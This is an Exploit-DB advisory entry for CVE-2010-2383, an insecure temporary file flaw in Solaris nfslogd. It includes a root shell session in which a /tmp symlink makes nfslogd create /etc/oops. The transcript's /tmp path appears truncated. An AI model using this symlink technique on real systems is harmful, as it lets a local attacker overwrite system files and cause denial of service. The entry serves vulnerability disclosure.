Oracle Solaris 'nfslogd' Insecure Temporary File Creation Vulnerability

ID EDB-ID:34313
Type exploitdb
Reporter Frank Stuart
Modified 2010-07-13T00:00:00


Oracle Solaris 'nfslogd' Insecure Temporary File Creation Vulnerability. CVE-2010-2383. Local exploit for solaris platform


Oracle Solaris is prone to an insecure temporary file creation vulnerability.

A local attacker can exploit this issue to overwrite arbitrary files with the privileges of the affected process. This will likely result in denial-of-service conditions, other attacks may also be possible.

This vulnerability affects the following supported versions:
8, 9, 10, OpenSolaris 

nnDon't Panic! # ls -dl /etc/oops
/etc/oops: No such file or directory
Don't Panic! # ls -dl /tmp/
lrwxrwxrwx   1 nobody   nobody         9 Dec 29 21:24 /tmp/
-> /etc/oops
Don't Panic! # id
uid=0(root) gid=0(root)
Don't Panic! # /usr/lib/nfs/nfslogd
Don't Panic! # ls -dl /etc/oops
-rw-------   1 root     root           4 Dec 29 21:25 /etc/oops